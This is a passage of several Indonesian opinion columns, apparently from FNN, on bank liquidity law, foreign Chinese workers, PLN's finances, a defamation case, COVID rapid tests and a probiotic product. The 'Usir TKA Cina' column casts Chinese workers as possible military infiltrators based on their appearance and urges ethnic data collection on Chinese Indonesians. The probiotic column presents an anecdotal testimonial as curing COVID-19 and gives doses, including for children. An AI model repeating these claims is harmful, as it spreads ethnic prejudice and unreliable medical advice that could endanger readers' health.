retsruksisai dengan segala variannya, diberi likuiditas oleh Bank Peserta. Ini terlihat logis. Tetapi masalahnya kebijakan restrukturisasi bank-bank pelaksana terhadap debitur dilakukan atas dasar apa? Apakah dilakukan atas dasar korporasi itu tidak bisa bayar kredit? Apakah korporasi itu tidak bisa ekspansi usaha? Apakah betul mereka bermasalah karena korona? Apakah rill perform korporasi sebelum korona, yang kreditnya direstrukturisasi atau ditambah kreditnya? Tidak perlu ditampilkan secara utuh dan dicek secara profesional seluruh aspeknya oleh Bank Pelaksana. Apakah status asetnya tidak perlu dicek secara detail? Andai mau diperbesar skala kreditnya, tentu oleh Bank Pelaksana, apakah jenis, skala dan prospek usaha korporasi yang hendak diberi tambahan kredit? Apakah tak perlu dicek secara detail? Siapa yang mengecek? Bank Pelaksana atau OJK? Apa yang terjadi bila Bank Pelaksana berkeras harus dicek, tetapi OJK berpendapat lain? Misalnya OJK berpendapat Perppu bukan PP, yang memberi kewenangan kepada mereka untuk memungkinkan korporasi tertentu tak mengumumkan informasi tertentu? Dapatkah terminologi informasi tertentu itu diinterpretasi meliputi asset, jenis usaha baru dan skalanya? Oleh karena telah ditentukan adanya Bank Peserta dan Bank Pelaksana, maka BI tidak menyediakan likuiditas. OJK disisi lain, apakah juga tidak berwenang terlibat dalam urusan penentu korporasi mana yang perlu dan layak direstrukturisasi kreditnya atau ditambahkan kreditnya? Hebat betul bila BI dan OJK tidak menganggap ini sebagai masalah yang memerlukan analisis cermat. Tetapi apapun itu, cukup hebat, sindrom penjara yang menerpa sejumlah orang di masa lalu dalam kasus BLBI dan Kasus Century. Dua kasus tersebut, telah menuntun dengan sempurna para perancang PP ini. Tuntunan itu bekerja dengan disediakannya sekoci lain. Sekoci itu bernama menyertakan PT Jaminan Kredit Indonesia dan PT Asuransi Kredit Indonesia. Tetapi sekoci ini terlihat tak tangguh. Mengapa? Besar kemungkinan mereka juga memerlukan tambahan likuiditas. Itu diatur dalam pasal 18 ayat (3). Siapa yang memutuskan pemberian likuiditas kepada mereka? BI atau OJK atau Menteri Keuangan atau Bank Pelaksana? Lalu, apa saja parameter teknisnya? Setelah Kekuasaan Berganti Pemerintah memang selalu kaya dengan argumen, terlepas dari kandungan validitasnya. Bermaksud mencegah sindrom likuiditas yang truble pada setiap pemberian bantuan likuditas dengan cara menyertakan Lembaga Penjamin Kredit, tetapi lembaga itu sendiri membutuhkan likuiditas. Inilah yang memperbesar jalan menuju tuntutan hukum. Pembaca FNN yang budiman, niat baik saja tidak cukup menjamin bagi pejabat pelaksana teknis maupun kebijakan. Juga tidak bakal menjadi senjata ampuh untuk menghindar dari sindrom tuntutan hukum nantinya. Untuk itu, lupakan apa yang disebut “mens rea” yang abal-abal itu. Jalan terbaik adalah kenalilah detil semua loophole teknis yang terskemakan dalam PP ini. Tutupilah, dengan cara bangun panduan hukum selengkap mungkin, sebelum jauh memasuki wilayah berbahaya ini. Itulah cara terbaik menjauh dari sindrom tuntutan hukum. Bisa berupa sindrom penjara. Tentu saja sindrom penjara itu tidak sekarang. Kemungkinan itu di masa datang, jauh setelah kebijakan ini sudah dinikmati oleh korporasi. Pemerintah yang berkuasa juga kemungkinan sudah berganti. Sudah sulit untuk memberikan perlindungan hukum dan sejenisnya. Cermati dan kenalilah dengan benar, nama-nama besar pembuat kebijakan likuiditas seperti Sahril Sabirin, Burhanudin Abdullah, Hendro Budianto dan Haru Supratomo. Mereka semua menikmati kamar dan dinding penjara, bukan pada eranya Soeharto dan Habibie berkuasa. Pada saat kebijakan likuiditas itu dibuat. Tetapi mereka bernasip kurang baik, setelah Soeharto dan Habibie tidak lagi berkuasa. Banyak pasal tentang dugaan pelanggaran hukum, yang mungkin sekarang belum terlihat dan terbaca. Karena telah berhasil ditutup dan dikunci dengan sangat rapi. Bahkan tidak ada celah sedikipun. Coba lihat Pasal 27 Perppu Corona. Para pembuat kebijakan teknis sekalipun, tidak dapat dituntut secara hukum, baik itu pidana, perdata maupun tata usaha negara. Setelah kekuasaan ini berganti. Bakal ada saja pasal-pasal tentang pelanggaran hukum dalam kebijakan pemberian likuiditas hari ini yang ditemukan oleh penguasa baru nantinya. Sayangnya, ketika pasal-pasal itu ditemukan, umur dan stamina dari yang menjabat sekarang, sudah tidak lagi mendukung untuk bisa bersyukur menikmati kehidupan di penjara. Semoga saja bermanfaat. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Usir TKA Cina

By M. Rizal Fadillah Jakarta FNN – Senin (18/05). Spanduk terpampang di Pakanbaru Riau, "Usir TKA Cina dari Indonesia". Spanduk ini cukup menarik. Seolah-olah merepresentasi keterusikan perasaan masyarakat pribumi atas mengalirnya TKA dari Cina. Demikiann juga tekad masyarakat Konawe Sulawesi Tengga, yang menolak kehadiran 500 TKA asal Cina di daerahnya. Pemerintah Daerah mendukung, bahkan siap untuk memimpin gerakan penolakan. Secara terang-terangan Pemerintah Pusat membuka lebar pintu masuknya TKA Cina ke perusahaan yang ada di berbagai daerah. Selain Konawe, juga di Morowali Sulwesi Tengah Tengah dan Weda Maluku Utara. Tekanan berupa penolakan hanya sampai pada kebijakan penundaan. Menko Luhut bahkan telah menyatakan, Juni dan Juli nanti, 500 TKA Cina itu akan masuk lagi. Terkesan pak Menteri ini pasang badan untuk kedatangan pekerja dari Cina. Dalihnya, adalah mereka merupakan tenaga ahli yang dibutuhkan oleh perusahaan. Kekhawatiran dan keprihatinan atas banjirnya TKA Cina di tengah jutaan tenaga kerja lokal kita yang di Pemutusan Hubungan Kerja (PHK) telah membawa Majelis Ulama Indonesia (MUI) bangkit dan angkat bicara. MUI prihatin dengan membanjirnya TKA Cina ke Indonesia. MUI seluruh Indonesia telah menyatakan sikap, untuk mengawasi dan mewaspadai kedatangan TKA Cina di seluruh daerah Indonesia. Meminta seluruh jajaran MUI agar melaporkan ke pihak berwenang bila mencurigai adanya TKA Cina yang datang. Apalagi jika sampai ditemukan penggunaan KTP palsu. Setingkat kata, para Ulama yang tergabung dalam MUI telah bereaksi atas kedatangan TKA Cina. Ini sinyal serius dan bahaya. Ada aspek keagamaan yang terancam atau terdampak. Mungkin juga aspek ideologi dan keamanan. Ada kekhawatiran tenaga kerja yang datang adalah penyusup. Badan tegap dan rambut cepak, khas penampilan tentara. Wajar saja para TKA Cina itu cukup menjadi alasan atas kecurigaan. Keadaan ini menyentak, dan menjadi perhatian khususnya bagi rakyat. Seharusnya juga menjadi perhatian Pemerintah. Ada lima hal yang perlu untuk mendapat penekanan. Pertama, perlu keterbukaan mengenai hubungan sebenarnya RI dengan RRC, apakah semata bisnis atau juga politis? Apa isi MOU atau Perjanjian yang telah dibuat, baik G to G maupun B to B. Semuanya harus dibuka ke publik. Presiden harus menggunakan mimbar kebesaran di Istana negara dan berpidato untuk masalah ini. Biar semua masyarakat mengetahui. Kedua, berapa sebenarnya target TKA Cina yang akan didatangkan ke Indonesia? Bagaimana proporsi dan hubungan kerja dengan tenaga local? Baik itu aspek penggajian maupun fasilitas lainnya? Ini juga harus dibuka ke publik. Biar semua masyarakat paham. Ketiga, filter atau acuan apa yang disiapkan Pemerintah untuk mengantisipasi dampak dari masuknya TKA Cina ke Indonesia? Dalam rangka menghindari penyusupan oleh tentara Cina maupun penyebaran ideologi komunis. Ini juga harus disampaikan ke publik. Biar semua masyarakat bisa mengerti. Keempat, bagaimana jaminan sistem keamanan rahasia negara dengan kedekatan hubungan antar kedua negara? Adakah kewaspadaan terhadap para pengusaha taipan yang mungkin juga menjadi agen rahasia dari negara RRC ? Ini juga harus disampaikan ke publik. Biar semua masyarakat menyadarinya. Kelima, perlu pendataan akurat dari seluruh etnis yang ada di Indonesia (Jawa, Sunda, Minang dan lainnya) termasuk etnis Cina. Mengingat RRC atau PKC senantiasa menempatkan warga Cina diaspora menjadi bagian dari perjuangannya. Hal ini penting sekurangnya untuk strategi pembauran. Tanpa melanggar UU Kewarganegaraan tentunya. Persoalan penolakan bahkan "Usir TKA Cina" tidak boleh dianggap enteng atau diabaikan oleh Pemerintah. Ini harus dipandang sebagai keresahan yang harus terklarifikasi dan terpola bagi solusi aman dan menenangkan. Jangan tunggu sampai sudah men jadi masalah baru bergerak. Seperti pada awal-awal penanganan pandemi virus Covid-19 yang terkesan lambat dan anggap enteng. Ada kekhawatiran dari rakyat dan bangsa Indonesia bahwa setelah mengalami penjajahan Portugis, Belanda, Jepang, maka kini ancaman penjajahan itu datangnya Cina. Sama seperti yang terjadi pada Belanda dulu. Yang awalnya adalah sebatas pada hubungan bisnis dan urusan investasi semata. Tetapi ujungnya adalah aneksasi dan kolonialisasi. Adakah kerjasama maritim, investasi, dan hutang luar negeri saat ini merupakan road map menuju penjajahan? Pemerintah Jokowi mesti menjawab dengan bukti-bukti. Bukan dengan basa-basi atau janji-janji lagi. Rakyat semesta kini menuntut kebenaran dan kejujuran. Penulis adalah Pemerhati Politik dan Kebangsaan.

PLN Dicengkram Oligarki Listrik Swasta & Bankster

By Salamuddin Daeng Jakarta FNN – Senin (18/05). Sangat mengagetkan sekali. Sumber kredibel dari Perusahaan Listrik Negara (PLN), BUMN non financial dengan asset terbesar di tanah air menyebutkan, sebagian besar, yakni sekitar 70% biaya operasional PLN bersifat regulated. Artinya, manajemen tidak akan secara leluasa untuk melakukan langkah dan strategi dalam menekan biaya (cost). Padahal komponen cost ini sekarang sudah sangat membebani operasional PLN. Pada saat penurunan harga energy primer seperti sekarang, seharusnya PLN dapat menekan biaya-biaya secara significant. Namun sangat disayangkan. Sebab ternyata manajemen PLN tidak dapat melakukan apa-apa untuk menekan biaya opresional. Ini dikarenakan seluruh biaya telah dicengkram oleh berbagai peraturan dan kontrak-kontak sebelumnya. Seperti sudah tersandera dari awal. Salah satu komponen cost yang paling besar adalah skema atau aturan mengenai pembelian listrik swasta. Dalam laporan keuangan, disebutkan bahwa pada tahun 2015 PLN dan entitas anak perusahaan terikat penjanjian dengan Penghasil Listrik Independen (IPP) “take on pay”. Artinya, PLN dengan entitas anak perusahaan mengambil hampir seluruh listrik dan energi yang dihasilkan pembangkit listrik IPP. Jenis perjanjian “take on pay” ini ditetapkan sebagai sewa pembiayaan. Dimana porsi paling signifikan dari risiko dan manfaat atas sejumlah pembangkit listrik telah dialihkan ke PLN dan anak perusahaan. Penjelasannya, masa sewa berlaku untuk sebagian besar umur ekonomis aset. Selain itu, terdapat opsi beli pada akhir masa sewa kelak. Listrik yang dihasilkan pembangkit listrik PLN dan listrik yang dibeli PLN dari IPP Swasta dalam skema “take or pay” tersebut, selanjutnya dijual oleh PLN kepada masyarakat. Nilai penjualan listrik PLN pada tahun 2017 lalu mencapai Rp. 263,477 triliun. Sementara pendapatan usaha PLN secara keseluruha mencapai Rp. 272,897 triliun. Jadanya, PLN dan anak perusahaan harus nombok Rp. 9,420 triliun. Akibatnya adalah beban usaha PLN sangat besar. Sebagian besar dari beban usaha PLN itu telah regulated. Sulit untuk dikurangi atau ditekan beban tersebut, dikarenakan beban sebagian besar bersumber dari regulasi dan berbagai UU dan Peraturan Pemrintah yang telah mematok harga energy primer. Pemerintah yang menentukan ukuran penyusutan melalui revaluasi asset, dan kontrak-kontrak pembelian listrik oleh PLN kepada sawasta. Jumlah beban usaha PLN selama tahun 2017 mencapai Rp. 308,188 triliun. Beban usaha tersebut terdiri dari beban bahan bakar dan pelumas. Beban usaha ini adalah merupakan komponen terbesar dalam beban PLN. Nilainya mecapai Rp. 137,266 triliun atau sebesar 44.5 % dari total biaya. Beban usaha terbesar kedua adalah pembelian listrik swasta. Nilanya Rp. 84,267 triliun atau 27,3% dari total biaya. Beban usaha terbesar ketiga adalah penyusutan, yang nilainya mencapai Rp. 30,744 triliun. Selanjutnya adalah pemeliharaan, dengan nilai Rp. 20,737 triliun. Nilai penyusutan yang terbesar bersumber dari revaluasi asset yang dilakukan PLN, dengan meningkatkan nilai asset hingga mencapai 150%. Penyesuaian ke nilai terpulihkan atas asset yang menggunakan model biaya, dan penyesuaian ke nilai terpulihkan atas asset tetap yang menggunakan model revaluasi, serta melebihi saldo surplus revaluasi. Untuk asset tetap tersebut dicatat sebagai beban lain-lain yang merupakan bagian dari penghasilan (beban) lain-lain bersih. Beban penyusutan dan pemeliharaan sangat besar, mecapai 16.7% dari total beban operasional PLN di tahun 2017. Beban keuangan lainnya adalah beban kepegawaian PLN. Nilainya terbilang besar. Mencapai Rp. 22,950 triliun. Jumlah pegawai PLN pada akhir Desember 2018 sebanyak 54.255 orang. Produktivitas pegawai pada tahun 2018 mencapai 4.324 MWh/pegawai dan 1.326 pelanggan/pegawai. Dengan demikian, setiap pegawai PLN dapat menerima upah Rp. 423 juta setiap orang setiap tahun. Beban operasional PLN sangat tinggi, karena harus membeli energy primer, yakni minyak, gas, dan batubara yang sangat mahal. PLN harus menanggung beban pemeliharaan pembangkit yang tidak lagi produktif. PLN juga menanggung beban penyusutan akibat revaluasi asset. Nilai beban usaha PLN secara keseluruhan selama tahun 2018 mencapai Rp. 308,188 triliun. Sangat besar dibandingkan kemampuan penjualan perusahaan, yang nilainya hanya mencapai Rp. 263,477 triliun. Akibatnya, kerugian tahun 2018 berdasarkan laporan keuangan Rp 7,366 triliun. Beban usaha PLN ini, belum lagi ditambah dengan kerugian akibat harus membeli semua energy primer dan listrik swasta dengan dolar. Sementara harus menjual listrik ke masyarakat dalam mata uang rupiah. Ini sangat buruk sekali dikarenakan penerimaan dengan rupiah. Sementara kewajiban dalam dolar. Bebarapa tahun terakhir, rupiah dianggap sebagai mata uang “sampah”. Sebab kenyataanya rupiah yang sangat rentan terhadap depresiasi. Akibatnya, kerugian kurs mata uang (loss on foreign asing) bersih yang dialami oleh PLN mencapai Rp. 10,926 triliun. Sangat mengkuatirkan praktek keuangan macam ini. Pada bagian lain, PLN juga harus berdarah-darah menghadapi beban bunga yang sangat besar. Jauh di atas rata rata beban bunga yang dihadapi perusahaan BUMN lain. Akibatnya PLN menderita beban keuangan sangat besar mencapai Rp. 21,624 triliun atau sekitar 7% dari beban perusahaan secara keseluruhan. Jumlah itu setara dengan seluruh beban karyawan perusahaan tersebut. Selamat menjalsakan ibadah puasa. Penulis adalah Peneliti Asosiasi Ekonomi Politik Indonesia (AEPI).

Berat Beban Luhut Pandjaitan Menghadapi Said Didu

By Asyari Usman Jakarta, FNN - Menyusul laporan Luhut Binsar Pandjaitan (LBP) ke polisi, mantan sekretaris Menteri BUMN Muhammad Said Didu (MSD) sudah diperiksa Bareskrim Polri, Jumat (15/5/2020). Pemeriksaan berlangsung 12 jam. Pak Luhut memberikan teladan yang baik. Dia menempuh jalur hukum untuk mencari keadilan. Dia merasa MSD mencemarkan nama baiknya. Pantas diapresiasi. Pak Luhut memang perlu membela namanya yang selalu baik itu. Mungkin baru kali ini beliau merasa ada orang yang merusak nama baiknya. Pak Luhut mulanya menyampaikan somasi. Menuntut permintaan maaf dari Pak Said. Supaya tidak dibawa ke polisi. Tetapi, Pak Said tidak meminta maaf. Dia merasa tidak mencemarkan nama baik LBP. Ketika dia dalam obrolan dengan Hersubeno Arief mengatakan: “…di dalam kepala Luhut itu hanya ada uang, uang dan uang…”, Pak Said mengatakan bahwa yang dia persoalkan adalah perilaku seorang pejabat negara yang hanya memikirkan soal ekonomi di tengah kondisi yang sedang sulit. Bukan mengatakan bahwa Luhut hanya memikirkan keuntungan pribadi. Tetapi, bagi Pak Luhut, ucapan MSD itu dianggap sebagai serangan pribadi. Karena MSD tidak mau meminta maaf, Pak Menko pun melanjutkannya ke Bareskrim. Sekarang, akan berlangsung pertarungan hukum. Sesuatu yang tentunya sangat menarik untuk disaksikan. Pak Luhut diwakili oleh empat advokat hebat. Sedangkan Said Didu dibela oleh puluhan pengacara. Mungkin ratusan. Semuanya pengacara relawan. Siapakah yang ‘kuat’ diantara kedua pihak yang berperkara ini? LBP atau MSD? Luhut tentu sangat kuat. Karena beliau memang ‘orang kuat’. Pertama, dia adalah tangan kanan Presiden. Kekuasaannya di pemerintahan sangat besar dan luas. Kedua, dia memiliki jaringan solid yang menjangkau ke seluruh penjuru. Ketiga, LBP memiliki ‘unlimited resources’ yang mampu mengirimkan pesan kepada semua orang bahwa dia adalah ‘orang kuat’. Bagaimana dengan Said Sidu? Dia mantan pejabat. Tidak punya kekuasaan. Apalagi sekarang dia beroposisi. Tetapi, opini publik ada di belakang Said. Sentimen kekinian juga berkubu ke tokoh Sembilan Oposisi harapan rakyat ini. Selain itu, paket semangat terbesar dikirimkan oleh 800-an pensiunan tentara dan polisi. Dari yang berpangkat rendah sampai yang tertinggi. Ada sersan, ada peltu, ada kapten, mayor, letkol, kolonel, AKBP, dlsb.Diantara yang mendukung itu ada 34 brigjen dan 14 mayjen. Ada satu jenderal berbintang tiga, dan satu bintang empat AL yaitu Laksamana Slamet Subianto (mantan KSAL). Semuanya pensiunan. Jurubicara Luhut, Jodi Mahardi, mengatakan nama para jenderal itu dicatut. Tetapi, sejauh ini para jenderal tidak mengatakan nama mereka dicatut. Paket semangat juang dari para jenderal ini sangat penting bagi Pak Said. Dukungan mereka membuat Pak Luhut seperti mantan jenderal yang tak berteman. Terkucil sendirian. Siapakah yang paling berat bebannya dalam perkara ini? LBP atau MSD? Yang jelas, Said Didu dipersepsikan memiliki pijakan moral yang kuat. Dilihat sebagai pejuang rakyat. Yang menyuarakan aspirasi masyarakat. Dan tidak memiliki kepentingan pribadi apa pun. MSD tak punya beban apa-apa. Sebaliknya, Pak Luhut dianggap memperkarakan Said tanpa landasan moral. Dia dipandang sebagai penguasa yang sewenang-wenang. Yang arogan. Tidak membela rakyat. Siapakah yang akan menang? Bagi masyarakat, Said Didu sudah menang sejak awal. Masuk penjara pun dia, Said tetap dianggap menang. Bahkan dianggap sebagai pahlawan rakyat. Sebaliknya, Luhut akan dilihat sebagai orang yang kalah sejak awal. Meskipun dia nanti berhasil memenjarakan Said. Yang menjadi masalah, bagaimana kalau MSD tak terbukti mencemarkan nama baik LBP? Siapkah Luhut kalah dalam kasu ini? Tampaknya, dilematis bagi Pak Menko. Sebab, kalau tak terbukti bersalah, publik akan menafsirkannya dengan sederhana bahwa Said benar. Jadi, berat beban Pak Luhut menghadapi Said Didu.[] 17 Mei 2020(Penulis wartawan senior)

Akurasi Diragukan, "Rapid Test" Produk China Dijual Mahal di Indonesia

Oleh Mochamad Toha Jakarta, FNN - Berdasarkan laporan hasil investigasi Organized Crime and Corruption Reporting Project (OCCRP) bersama majalah berita mingguan TEMPO menyebut, tiga merek alat rapid test yang diragukan akurasinya, yakni Biozek, VivaDiag, dan Wondfo. Misalnya, pada 30 April 2020 lalu, hasil tes VivaDiag terhadap 443 warga Banjar Serokadan, Kabupaten Bangli, Bali, menunjukkan hasil positif. Belakangan, setelah mereka menjalani uji usap atau swab test, hanya ada satu orang yang positif corona. Direktur PT Kirana Jaya Lestari, Aurelia Ira Lestari, perusahaan yang mengimpor VivaDiag, menyatakan alat VivaDiag bernomor 3097 sudah ditarik dari seluruh fasilitas kesehatan. Tapi di lapangan, VivaDiag sudah terlanjur dipakai untuk rapid test. Dua dari 3 merek alat rapid test yang diragukan akurasinya dipakai di NTB. Yakni VivaDiag dan Wondfo. ”Itu kami dapat bantuan dari pusat, silahkan wawancara sama BNPB,” ungkap Kepala Dinas Kesehatan NTB dr Hj Nurhandini Eka Dewi, Senin (11/5/2020). Melansir LombokPost, Selasa (12 Mei 2020 10:23 am), dalam uji cepat terhadap pedagang di Pasar Mandalika, para petugas medis menggunakan alat bermerek VivaDiag. ”Alat ini kami terima dari provinsi,” kata Kepala Dinas Kesehatan Kota Mataram dr H Usman Hadi. Hasilnya, dari 23 sampel yang diperiksa, 2 orang reaktif. ”Kami sudah minta untuk istirahat dulu, karantina mandiri salama 14 hari,” kata Usman. Selanjutnya, Dinas Kesehatan Mataram berkoordinasi dengan RSUD untuk dilakukan uji swab agar hasilnya akurat. ”Selama karantina, kedua pedagang yang reaktif akan dipantau,” katanya. Terkait akurasi alat tes cepat itu, Usman menjelaskan, penggunaan alat tes mengacu pada beberapa hal. Antara lain, adanya rekomenasi dari BNPB dan ahli patologi. Kemudian apakah barang itu tersedia di pasaran atau tidak? Pertimbangan lainnya, jika dalam pemakaiannya alat itu menggunakan darah tetes, mereka tidak akan menggunakannya. ”Kita pakai darah serum istilahnya itu, supaya lebih valid,” jelasnya. Dalam tes cepat lalu, mereka menggunakan darah serum sehingga secara medis lebih akurat. Meski mereknya VivaDiag atau Wondfo, ia tidak terlalu mempersoalkan. Pada kotak alat tes itu tertulis merek VivaDiag, didistribusikan PT Kirana Jaya Lestari. Dalam laporan Tempo, PT Kirana mendatangkan 900 ribu alat tes itu dari perusahaan China, VivaChek Biotech Hangzhou Co Ltd. Pihak perusahaan disebut sudah menarik VivaDiag bernomor 3097 dari seluruh fasilitas kesehatan. Sementara itu alat bermerek Wondfo Biotech diproduksi di Guangzhou, China. Pantauan Lombok Post, alat bermerek Wondfo ini digunakan untuk rapid test seluruh staf khusus dan pekerja di lingkungan pendopo gubernur dan wakil gubernur NTB, 15 April 2020. Menurut Ketua Tim Pakar Gugus Tugas Percepatan Penanganan Covid-19, Wiku Adisasmito, produk rapid test dengan merek VivaDiag sudah memenuhi rekomendasi. “Itu sudah sesuai rekomendasi Gugus Tugas, ada di daftarnya,” kata Wiku kepada Tempo, Ahad, 3 Mei 2020. Dalam daftar rekomendasi rapid diagnostic test (RDT) antibodi Covid-19 per 21 April 2020, merek VivaDiag berada pada urutan ke-13. Alat tes itu diproduksi oleh VivaChek Biotech (Hangzhou) Co., Ltd dan diimpor oleh PT Kirana Jaya Lestari. Badan Nasional Penanggulangan Bencana juga memberikan rekomendasi pembebasan bea masuk dan pajak impor pada PT Kirana Jaya Lestari, yang tertuang dalam surat rekomendasi pada 31 Maret 2020. Perusahaan ini mengimpor rapid test VivaDiag sebanyak 900 ribu unit. Wiku menjelaskan, produk-produk rapid test yang direkomendasikan Gugus Tugas, termasuk VivaDiag, sudah terdaftar di WHO. Kemudian sesuai standar internasional dan memenuhi persyaratan untuk diadakan. “Jadi tiap pihak bisa membeli produk itu sesuai yang direkomendasikan,” katanya, mengutip Tempo, Minggu (3 Mei 2020 20:12 WIB). Terkait pro dan kontra penggunaan rapid test merek VivaDiag di Bali, Wiku menilai ada banyak faktor yang mempengaruhi. Ia mengatakan, sensitivitas dan spesifitas alat tes harus memenuhi beberapa persyaratan. Misalnya, Wiku menyebutkan, alat tersebut selalu disimpan dalam suhu ruangan 20-25 0 C mulai dari produksi hingga penggunaan. Kemudian cara menggunakannya sesuai instruksi. Kualitas barang ketika diimpor juga harus dicek. Tidak hanya VivaDiag dan Wondfo. Alat uji cepat Biozek yang didatangkan PT Kimia Farma dari Belanda diduga juga bermasalah. Hasil investigasi OCCRP bersama Tempo menunjukkan alat itu diproduksi di China. Sejumlah penelitian pun menunjukkan akurasi Biozek rendah. Dijual seharga ratusan ribu hingga jutaan rupiah per unit, Biozek telah menyebar ke berbagai wilayah, termasuk Istana. Begitu laporan Tempo Edisi 09-05-2020 berjudul Teperdaya Tes Corona. Asisten Manajer Pengadaan Langsung Strategis PT Kimia Farma, Pandji Yudha Yudistira, bertandang ke Apeldoorn, kota kecil di Provinsi Gelderland, Belanda, pada Selasa, 7 April 2020. Ia langsung mengunjungi kantor perusahaan farmasi Inzek International Tranding BV untuk mengecek peralatan rapid test merek Biozek. “Saya ke sana memastikan barang tersebut ada dan jumlahnya sesuai dengan yang kami minta,” kata Pandji. Diimpor oleh PT Kimia Farma, peralatan rapid test atau uji cepat virus corona merek Biozek mulai beredar di Indonesia pada pertengahan April lalu. Perusahaan pelat merah ini membeli 300 ribu unit rapid test kit dari perusahaan asal Belanda, Inzek International Trading BV. Belakangan ini, Organized Crime and Corruption Project (OCCRP), media investigasi yang berkolaborasi dengan Tempo menemukan peralatan uji cepat Biozek tidak diproduksi oleh Inzek International Trading BV itu. Chief Executif Officer Inzek International Tranding BV Zeki Hamid mengakui, alat rapid test Biozek diproduksi di China. Mengklaim untuk menolong sesama. Tempo mengungkap, di sejumlah fasilitas kesehatan, biaya pelayanan tes bisa cepat mencapai lebih dari Rp 500 ribu. Di salah satu rumah sakit swasta di Kota Bogor, Jawa Barat, biaya uji cepat dengan Biozek mencapai Rp 550 ribu. Sedangkan di laboratorium klinik Kimia Farma yang dihubungi Tempo, biayanya Rp 650 ribu. Penelusuran OCCRP menunjukkan harga pasaran Biozek sebenarnya hanya 5 euro atau sekitar Rp 80 ribu per unit. Seorang pejabat di Kementerian Badan Usaha Milik Negara mengatakan harga beli Biozek tak sampai US$ 3 per unit atau di bawah Rp 45 ribu. Alat rapid test Virus Corona atau Covid-19 produk China yang beredar di Eropa juga sempat diprotes karena faktanya tidak akurat. Akhirnya, Pemerintah China memperketat pengawasan terhadap ekspor alat rapid test setelah muncul keluhan dari negara-negara di Eropa itu. Melansir Merdeka.com, Kamis (2 April 2020 11:05) eksportir kini wajib mendapat sertifikat registrasi dari National Medical Products Administration (NMPA) agar dapat memperoleh izin bea cukai China. Seperti dilansir Reuters, Kamis (2/4/2020), ekspor kit rapid test ini berawal dari permintaan Beijing pada perusahaan-perusahaan farmasi di China untuk membantu memerangi pandemi virus corona. Hal itu disambut pada lonjakan perusahaan yang menawarkan alat tes ke negara-negara yang putus asa untuk menangani penyakit yang sangat menular itu. Karena longgarnya aturan ketika itu, beberapa pembuat alat uji China telah memanfaatkan peraturan Uni Eropa untuk memasukkan produk mereka ke pasar sebelum disetujui di dalam negeri. Pada Maret, Lei Chaozi, seorang pejabat di Departemen Pendidikan, mengatakan alat uji buatan China telah dipasok ke 11 negara, termasuk Inggris, Italia, dan Belanda. Boleh jadi, karena sudah dianggap "tidak bernilai", Biozek yang ada di Belanda itu dijual murah ke Kimia Farma. Tidak ada salahnya jika RS Rujukan Corona di Indonesia hati-hati dan waspada! Penulis Wartawan Senior.

Siap-siap "Herd Immunity", Bawalah Probiotik Siklus sebagai Bekal!

Sebuah testimoni Probiotik Siklus disampaikan oleh seorang Kepala Puskesmas di salah satu wilayah zona merah Covid-19 di Jawa Timur. Oleh Mochamad Toha Jakarta, FNN - Ijin sedikit testimoni saya menyampaikan Biotoksi (titipan tim Biosyafa melalui dr FM) utk 3 orang paramedis dan 1 orang dokter yang terkonfirmasi swab positif covid dan menjalani karantina mandiri. Dosisnya adalah untuk DEWASA: Biotoksi: 3 x 1 sendok takar; Bioimune: 3 x 1 sendok takar; Biozime super: 3 x 10 tetes. NB: kalau saya suka cara minumnya begini. Ambil air setengah gelas tambahkan semua produk Probiotik di atas sesuai dosis, aduk, tambahkan madu 1 sendok takar. Untuk Anak-Anak < 13 tahun: Biotoksi: 2 x sepertiga sendok takar; Bioimun: 2 x sepertiga sendok takar;Biozime super: 3 x 3 tetes. Cari cara yang menyenangkn untuk diminum anak anak. Untuk keluarganya juga saya anjurkan minum untuk pencegahan. Untuk 2 kasus paramedis, (kebetulan bersamaan/cluster TKHI). Mulai konsumsi tgl 15 April 2020 Swab kedua tgl 13 April 2020, keluar hasil tgl 21 (hasil masih positif). Swab ketiga tgl 20 April 2020, keluar hasil tgl 30 April (negatif). Alhamdulillah biidznillah. Testimoni dari seorang dokter, apalagi dia menjabat Kepala Puskesmas itu tentu tidak main-main. Bahwa selama ini masih belum ada obat atau vaksin untuk menghadapi pandemi Covd-19 atau Virus Corona, adalah benar. Tapi, jika ada sebuah formula Probiotik Siklus dengan nama Biosyafa yang ternyata berhasil menyembuhkan pasien positif corona, tidak bisa diabaikan begitu saja. Apakah upaya untuk membantu pasien supaya sembuh tetap disalahkan? Hal serupa juga disampaikan guru besar Biologi Sel dan Molekuler Universitas Brawijaya (UB) Malang Prof. Drs. Sutiman Bambang Sumitro, SU, D.Sc. Karena itu mulai disarankan untuk berdamai dengan si Covid-19. Dilihat dari ilmu biologi, katanya, penyebaran Covid-19 tidak bisa diputus. Sebab proses mutasinya yang begitu cepat dapat menimbulkan varian baru dari virus ini, sehingga menyebabkan manusia kesulitan membuat vaksin maupun obat anti virus. Dengan kondisi ini yang bisa dilakukan adalah dengan melakukan pencegahan agar tidak terlalu banyak orang masuk rumah sakit hingga melebihi kapasitas akibat Covid-19 ini. Virus ini akan selalu ada, sehingga banyak orang mengharapkan adanya Herd Imunity. Yakni kekebalan tubuh pada suatu populasi. Herd Imunity ini juga tidak bisa lagi diharapkan karena saat Covid-19 dibawa ke lokasi lain dan dibawa lagi bisa masuk ke tubuh orang yang sudah kebal sehingga timbul pandemi baru. “Melihat kondisi seperti ini, saya pikir masyarakat harus move on. Tidak perlu berharap hilangnya virus Corona dengan putusnya mata rantai penularan 100 persen. Kita tidak bisa lagi hidup normal kembali seperti semula,” ujar Prof. Sutiman. Menurutnya, berbagai program kebijakan yang dicanangkan pemerintah dalam menangani Covid-19 ini seperti social distancing, pembatasan sosial berskala besar (PSBB) maupun lockdown total sekalipun sepertinya sudah terlambat. Hal yang bisa dilakukan oleh masyarakat saat ini adalah mempersiapkan diri atau memulai menyusun tatanan dunia baru bersama Covid-19. Dengan target bukan memberantas virus melainkan menekan jumlah orang yang terinfeksi bersamaan serendah mungkin. Persiapan yang bisa dilakukan, yakni untuk mencegah penyebaran Covid-19 dengan sering mencuci tangan menggunakan sabun, tidak bersentuhan atau menjaga jarak dan mengenakan masker. Ia menjabarkan bahwa keadaan seperti ini sejatinya sudah pernah dialami yakni saat Demam Berdarah menyerang. Tidak bisa memberantas, yang bisa dilakukan adalah dengan pencegahan. Kenyataannya pun orang meninggal akibat demam berdarah atau malaria masih terus ada. “Korban meninggal akibat demam berdarah karena kedisiplinan menguras bak mandi, menghilangkan atau menutup rapat genangan air tidak bisa dijalani dengan 100 persen oleh penduduk,” terangnya. Sama halnya dengan Covid-19. Tidak bisa sepenuhnya hilang akan terus ada mutasi bahkan 